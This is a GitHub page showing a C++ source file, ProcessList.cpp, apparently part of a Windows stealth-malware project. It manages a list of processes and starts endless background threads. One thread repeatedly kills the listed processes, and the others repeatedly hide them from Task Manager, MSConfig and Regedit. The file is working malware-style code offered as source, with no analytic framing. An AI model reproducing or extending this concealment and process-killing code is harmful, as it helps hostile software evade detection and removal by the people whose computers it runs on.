-
Notifications
You must be signed in to change notification settings - Fork 9
/
Copy pathProcessList.cpp
164 lines (134 loc) · 5.09 KB
/
ProcessList.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
#include "ProcessList.h"
#include "FunctionsWindowsNT.h"
void killPermanentProcessListThread(void * threadParams);
void hidePermanentProcessListTaskManagerThread(void * threadParams);
void hidePermanentProcessListMSConfigThread(void * threadParams);
void hidePermanentProcessListRegeditThread(void * threadParams);
ProcessList::ProcessList() {
processNameList = (Process **) malloc(sizeof(Process *));
numProcess = 0;
msecDelayKill = DEFAULT_INTERVAL_KILL;
msecDelayHideTaskManager = DEFAULT_INTERVAL_HIDE;
msecDelayHideMSConfig = DEFAULT_INTERVAL_HIDE;
msecDelayHideRegedit = DEFAULT_INTERVAL_HIDE;
quitKillProcessThread = false;
quitHideProcessTaskManagerThread = false;
quitHideProcessMSConfigThread = false;
quitHideProcessRegeditThread = false;
}
bool ProcessList::addProcess(const char * processName, char * patternToHideMSConfig, char * patternToHideRegedit) {
bool err = false;
if (numProcess > 0) {
processNameList = (Process **) realloc(processNameList, sizeof(Process *) * (numProcess + 1));
if (processNameList == NULL) err = true;
}
if (!err) {
*(processNameList + numProcess) = (Process *) malloc(sizeof(Process));
if (*(processNameList + numProcess) != NULL) {
*(processNameList + numProcess) = new Process(processName, patternToHideMSConfig, patternToHideRegedit);
numProcess++;
return true;
}
}
return false;
}
bool ProcessList::killProcessList() {
bool result = false;
unsigned long i;
if (numProcess > 0) {
for (i = 0; i < numProcess; i++) {
if ((*(processNameList + i))->killProcess()) result = true;
}
}
return result;
}
bool ProcessList::killPermanentProcessList(unsigned long msecIntervalKill) {
msecDelayKill = msecIntervalKill;
if (CreateThread (NULL, 0, (LPTHREAD_START_ROUTINE) killPermanentProcessListThread, this, 0, NULL) != NULL) return true;
return false;
}
void killPermanentProcessListThread(void * threadParams) {
ProcessList * pList = (ProcessList *) threadParams;
while (!pList->terminateKillProcessThread()) {
pList->killProcessList();
Sleep(pList->getIntervalKill());
}
}
void ProcessList::setTerminateKillProcessThread(bool value) {
quitKillProcessThread = value;
}
void ProcessList::setTerminateHideProcessTaskManagerThread(bool value) {
quitHideProcessTaskManagerThread = value;
}
void ProcessList::setTerminateHideProcessMSConfigThread(bool value) {
quitHideProcessMSConfigThread = value;
}
void ProcessList::setTerminateHideProcessRegeditThread(bool value) {
quitHideProcessRegeditThread = value;
}
bool ProcessList::hideProcessListTaskManager() {
bool result = false;
unsigned long i;
if (numProcess > 0) {
for (i = 0; i < numProcess; i++) {
if ((*(processNameList + i))->hideProcessTaskManager()) result = true;
}
}
return result;
}
bool ProcessList::hidePermanentProcessListTaskManager(unsigned long msecIntervalKill) {
msecDelayHideTaskManager = msecIntervalKill;
if (CreateThread (NULL, 0, (LPTHREAD_START_ROUTINE) hidePermanentProcessListTaskManagerThread, this, 0, NULL) != NULL) return true;
return false;
}
void hidePermanentProcessListTaskManagerThread(void * threadParams) {
ProcessList * pList = (ProcessList *) threadParams;
while (!pList->terminateHideProcessTaskManagerThread()) {
pList->hideProcessListTaskManager();
Sleep(pList->getIntervalTaskManagerHide());
}
}
bool ProcessList::hideProcessListMSConfig() {
bool result = false;
unsigned long i;
if (numProcess > 0) {
for (i = 0; i < numProcess; i++) {
if ((*(processNameList + i))->hideProcessMSConfig()) result = true;
}
}
return result;
}
bool ProcessList::hidePermanentProcessListMSConfig(unsigned long msecIntervalKill) {
msecDelayHideMSConfig = msecIntervalKill;
if (CreateThread (NULL, 0, (LPTHREAD_START_ROUTINE) hidePermanentProcessListMSConfigThread, this, 0, NULL) != NULL) return true;
return false;
}
void hidePermanentProcessListMSConfigThread(void * threadParams) {
ProcessList * pList = (ProcessList *) threadParams;
while (!pList->terminateHideProcessMSConfigThread()) {
pList->hideProcessListMSConfig();
Sleep(pList->getIntervalMSConfigHide());
}
}
bool ProcessList::hideProcessListRegedit() {
bool result = false;
unsigned long i;
if (numProcess > 0) {
for (i = 0; i < numProcess; i++) {
if ((*(processNameList + i))->hideProcessRegedit()) result = true;
}
}
return result;
}
bool ProcessList::hidePermanentProcessListRegedit(unsigned long msecIntervalKill) {
msecDelayHideRegedit = msecIntervalKill;
if (CreateThread (NULL, 0, (LPTHREAD_START_ROUTINE) hidePermanentProcessListRegeditThread, this, 0, NULL) != NULL) return true;
return false;
}
void hidePermanentProcessListRegeditThread(void * threadParams) {
ProcessList * pList = (ProcessList *) threadParams;
while (!pList->terminateHideProcessRegeditThread()) {
pList->hideProcessListRegedit();
Sleep(pList->getIntervalRegeditHide());
}
}